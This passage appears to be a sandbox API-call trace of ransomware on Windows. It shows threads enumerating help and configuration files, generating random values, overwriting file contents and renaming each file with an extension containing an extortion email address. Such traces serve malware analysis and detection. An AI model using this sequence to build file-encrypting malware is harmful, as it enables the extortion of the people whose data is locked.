wcscat (in: _Dest=0x12e08318, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\" [0051.570] wcscat (in: _Dest=0x12e08318, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*" [0051.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05bc8 [0051.570] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*", lpFindFileData=0x12e05bc8 | out: lpFindFileData=0x12e05bc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440660 [0058.938] wcscmp (_String1=".", _String2=".") returned 0 [0058.938] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x12e05bc8 | out: lpFindFileData=0x12e05bc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.939] wcscmp (_String1="..", _String2=".") returned 1 [0058.939] wcscmp (_String1="..", _String2="..") returned 0 [0058.939] FindNextFileW (in: hFindFile=0x440660, lpFindFileData=0x12e05bc8 | out: lpFindFileData=0x12e05bc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.939] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.939] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee5b8 [0058.939] wcscpy (in: _Dest=0x4ee5b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" [0058.939] wcscat (in: _Dest=0x4ee5b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\" [0058.939] wcscat (in: _Dest=0x4ee5b8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\Reader_10.0.helpcfg" Thread: id = 804 os_tid = 0x106c [0051.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08398 [0051.570] wcscpy (in: _Dest=0x12e08398, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" [0051.570] wcscat (in: _Dest=0x12e08398, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\" [0051.570] wcscat (in: _Dest=0x12e08398, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*" [0051.571] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05e30 [0051.571] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*", lpFindFileData=0x12e05e30 | out: lpFindFileData=0x12e05e30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440ca0 [0058.939] wcscmp (_String1=".", _String2=".") returned 0 [0058.939] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e05e30 | out: lpFindFileData=0x12e05e30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.939] wcscmp (_String1="..", _String2=".") returned 1 [0058.939] wcscmp (_String1="..", _String2="..") returned 0 [0058.939] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e05e30 | out: lpFindFileData=0x12e05e30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.939] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.939] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee158 [0058.939] wcscpy (in: _Dest=0x4ee158, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" [0058.939] wcscat (in: _Dest=0x4ee158, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\" [0058.939] wcscat (in: _Dest=0x4ee158, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\Reader_10.0.helpcfg" [0063.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128 [0063.881] FindNextFileW (in: hFindFile=0x440ca0, lpFindFileData=0x12e05e30 | out: lpFindFileData=0x12e05e30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.881] FindClose (in: hFindFile=0x440ca0 | out: hFindFile=0x440ca0) returned 1 [0063.882] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e05e30) returned 1 [0063.882] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08398) returned 1 [0063.882] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419040) returned 1 Thread: id = 805 os_tid = 0x1070 [0051.571] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn")) returned 0x2022 [0051.571] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn", dwFileAttributes=0x20) returned 1 [0065.073] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\Hx.hxn" (normalized: "c:\\programdata\\microsoft help\\hx.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) Thread: id = 806 os_tid = 0x1074 [0051.572] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn")) returned 0x2022 [0055.495] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0065.312] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x141c [0065.312] GetFileSizeEx (in: hFile=0x141c, lpFileSize=0x1446f894 | out: lpFileSize=0x1446f894*=326) returned 1 [0065.312] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.312] ReadFile (hFile=0x141c, lpBuffer=0x1446f818, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1446f814, lpOverlapped=0x0) Thread: id = 807 os_tid = 0x1078 [0051.573] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn")) returned 0x2022 [0055.507] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0062.456] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1008 [0062.456] GetFileSizeEx (in: hFile=0x1008, lpFileSize=0x1435fe70 | out: lpFileSize=0x1435fe70*=350) returned 1 [0062.456] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.456] ReadFile (in: hFile=0x1008, lpBuffer=0x1435fdf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1435fdf0, lpOverlapped=0x0 | out: lpBuffer=0x1435fdf4*, lpNumberOfBytesRead=0x1435fdf0*=0x4, lpOverlapped=0x0) returned 1 [0062.457] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.457] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8cb0 [0062.457] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b20 [0062.457] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b70 [0062.457] NtQuerySystemTime (in: CurrentTime=0x1435fdd0 | out: CurrentTime=0x1435fdd0*=132174898264392000) returned 0x0 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x5e97d5fe [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x7b4aa9af [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x3296b617 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x32e6afc6 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x458c0fd1 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x8ad042f [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x69fdc40e [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x9ab4954 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x69b7313 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x7167321e [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x421c0823 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x8c709ad [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x6e2a4b25 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x73c5e463 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x4b6bdea [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x46e91a3e [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x8d77202 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x257a506a [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x63f5ec7e [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x7deafb84 [0062.457] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x77180018 [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x2199bf45 [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x2907124b [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x61acfdf3 [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x39027144 [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x295f1d0c [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x739c5f36 [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x14e5f8f0 [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0xde625f6 [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x13e278e9 [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x4f56a090 [0062.458] RtlRandomEx (in: Seed=0x1435fddc | out: Seed=0x1435fddc) returned 0x774bfcb6 [0062.471] ReadFile (in: hFile=0x1008, lpBuffer=0x5e60870, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x1435fdcc, lpOverlapped=0x0 | out: lpBuffer=0x5e60870*, lpNumberOfBytesRead=0x1435fdcc*=0x15e, lpOverlapped=0x0) returned 1 [0062.471] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.471] WriteFile (in: hFile=0x1008, lpBuffer=0x12d61198*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x1435fdc8, lpOverlapped=0x0 | out: lpBuffer=0x12d61198*, lpNumberOfBytesWritten=0x1435fdc8*=0x15e, lpOverlapped=0x0) returned 1 [0062.822] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429750 [0062.822] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429610 [0062.823] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429610) returned 1 [0062.823] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d61198) returned 1 [0062.825] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60870) returned 1 [0062.825] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.825] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0062.825] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x4029f0 [0062.826] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.826] WriteFile (in: hFile=0x1008, lpBuffer=0x12d7a2f8*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x1435fe30, lpOverlapped=0x0 | out: lpBuffer=0x12d7a2f8*, lpNumberOfBytesWritten=0x1435fe30*=0x121, lpOverlapped=0x0) returned 1 [0062.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7a2f8) returned 1 [0062.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402888) returned 1 [0062.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429610) returned 1 [0062.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0062.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429750) returned 1 [0062.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b20) returned 1 [0062.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b48) returned 1 [0062.914] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8aa8) returned 1 [0062.914] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02ae0 [0062.914] wcscpy (in: _Dest=0x5e02ae0, _Source="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" [0062.914] wcscat (in: _Dest=0x5e02ae0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d" [0062.914] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1435fde8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.914] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d610 [0062.936] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d610) returned 1 [0062.936] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1f518) returned 1 [0062.936] NtQueryInformationFile (in: FileHandle=0x1008, IoStatusBlock=0x1435fdf4, FileInformation=0x1435fdcc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1435fdf4, FileInformation=0x1435fdcc) returned 0x0 [0062.936] NtSetInformationFile (FileHandle=0x1008, IoStatusBlock=0x1435fdf4, FileInformation=0x1435fdcc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.937] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02ae0) returned 1 [0062.937] FlushFileBuffers (hFile=0x1008) returned 1 [0066.195] CloseHandle (hObject=0x1008) Thread: id = 808 os_tid = 0x107c [0051.573] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn")) returned 0x2022 [0055.507] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0062.437] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.graph.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4ac [0062.438] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x580fdf4 | out: lpFileSize=0x580fdf4*=326) returned 1 [0062.438] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.438] ReadFile (in: hFile=0x4ac, lpBuffer=0x580fd78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x580fd74, lpOverlapped=0x0 | out: lpBuffer=0x580fd78*, lpNumberOfBytesRead=0x580fd74*=0x4, lpOverlapped=0x0) returned 1 [0062.439] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.439] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8cb0 [0062.439] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9868 [0062.439] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b20 [0062.439] NtQuerySystemTime (in: CurrentTime=0x580fd54 | out: CurrentTime=0x580fd54*=132174898264236000) returned 0x0 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x4ef7dbf [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x69a33b04 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x44c0802f [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x4bb001ec [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x56e61e86 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x1d0767ac [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x143a8a03 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x4ac2736b [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x70bbc2c4 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x73068069 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x5d4ae6f1 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x1f1540df [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x8dc9917 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x79b1c6d [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x7b3ea66f [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x5952f3da [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x5772b71e [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x6be7998 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x7705ae3f [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x56e1aad [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x607d3c24 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x1e421f99 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x653d8019 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x713ed0f4 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x7b630f16 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x5cbda818 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x140edcf5 [0062.439] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x5855aa9a [0062.440] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x7748602f [0062.440] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x7aaa2e06 [0062.440] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x6be8b598 [0062.440] RtlRandomEx (in: Seed=0x580fd60 | out: Seed=0x580fd60) returned 0x7d47ee1 [0062.452] ReadFile (in: hFile=0x4ac, lpBuffer=0x9738928, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x580fd50, lpOverlapped=0x0 | out: lpBuffer=0x9738928*, lpNumberOfBytesRead=0x580fd50*=0x146, lpOverlapped=0x0) returned 1 [0062.452] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.452] WriteFile (in: hFile=0x4ac, lpBuffer=0x5e54068*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x580fd4c, lpOverlapped=0x0 | out: lpBuffer=0x5e54068*, lpNumberOfBytesWritten=0x580fd4c*=0x146, lpOverlapped=0x0) returned 1 [0062.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297c8 [0062.812] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4294d0 [0062.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294d0) returned 1 [0062.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e54068) returned 1 [0062.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9738928) returned 1 [0062.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4378c8) returned 1 [0062.816] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402888) returned 1 [0062.816] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x4a6720 [0062.816] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.816] WriteFile (in: hFile=0x4ac, 